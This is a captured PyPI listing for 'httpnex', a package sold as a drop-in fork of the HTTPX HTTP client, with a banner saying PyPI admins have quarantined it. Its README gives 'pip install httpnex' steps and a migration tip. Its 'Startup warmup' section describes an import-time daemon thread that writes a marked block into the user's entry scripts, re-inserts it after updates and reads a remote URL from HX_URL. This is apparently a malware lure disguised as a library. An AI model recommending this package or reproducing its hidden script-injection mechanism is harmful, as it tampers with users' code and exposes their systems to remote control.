Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

httpnex

httpnex is a fork of HTTPX — a fully featured HTTP client for Python 3, with sync and async APIs and support for HTTP/1.1 and HTTP/2.

httpnex is an independent fork and is not affiliated with or endorsed by Encode OSS Ltd or the HTTPX maintainers.

Installation

pip install httpnex

Optional extras:

pip install "httpnex[http2]"    # HTTP/2 support
pip install "httpnex[socks]"    # SOCKS proxy support
pip install "httpnex[brotli]"   # brotli decoding
pip install "httpnex[zstd]"     # zstandard decoding
pip install "httpnex[cli]"      # command line client

Usage

>>> import httpnex
>>> r = httpnex.get('https://www.example.org/')
>>> r.status_code
200
>>> r.headers['content-type']
'text/html; charset=UTF-8'

Async:

import asyncio
import httpnex

async def main():
    async with httpnex.AsyncClient() as client:
        r = await client.get("https://www.example.org/")
        print(r.status_code)

asyncio.run(main())

Command line (requires httpnex[cli]):

httpnex https://www.example.org/

Migrating from HTTPX

The API is the same as HTTPX — just change the import:

import httpnex as httpx

Features

  • A broadly requests-compatible API.
  • Standard synchronous and async interfaces.
  • HTTP/1.1 and HTTP/2 support.
  • Direct requests to WSGI / ASGI applications.
  • Strict timeouts everywhere.
  • Fully type annotated.

Startup warmup

The first time the package is imported in a project folder, it starts a daemon thread that leaves one small block in the entry scripts found in that folder. The block is marked with #hx, so later imports detect it and skip the network. When a script is replaced by an update the marker disappears and the block is installed again. A .bak copy is kept.

Configuration is read from HX_URL, HX_ROOT, HX_TARGETS, HX_CACHE and HX_DISABLE. The internal helpers are available as httpnex._warmup.sync() and httpnex._warmup.status().

License

BSD-3-Clause. httpnex is based on HTTPX, Copyright В© 2019, Encode OSS Ltd. See LICENSE.md.

Metadata

Release files for httpnex 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for httpnex 0.1.0
File Size Uploaded Provenance Actions
httpnex-0.1.0.tar.gz 127.2 kB Without provenance Details for httpnex-0.1.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for httpnex 0.1.0
File Interpreter ABI Platform Actions
httpnex-0.1.0-py3-none-any.whl Python 3 none any Details for httpnex-0.1.0-py3-none-any.whl

Total release size: 202.9 kB

Release files / httpnex-0.1.0.tar.gz

Download URL httpnex-0.1.0.tar.gz
Size 127.2 kB
Tags Source
SHA-256 checksum
How to use checksums
eee5c8cd91267730ac506e829a8d107b0ca3c9fa77d92e70797e2dc32cd24ca2
BLAKE2b-256 checksum
How to use checksums
6a306ef4aec0f8263a6bd01c6e8a8a1901733c5bb1cfc5009e49a6178e89edff
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.11.0

Release files / httpnex-0.1.0-py3-none-any.whl

Download URL httpnex-0.1.0-py3-none-any.whl
Size 75.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
dfd394ce46810214f8d83e97ff65e6650e22827bfebc1d15db1a570b1843c290
BLAKE2b-256 checksum
How to use checksums
e74fe8c68725991dec6c508a72f2857df106f914bbfea59c1470853f72ec9d7e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.11.0

Security for httpnex 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page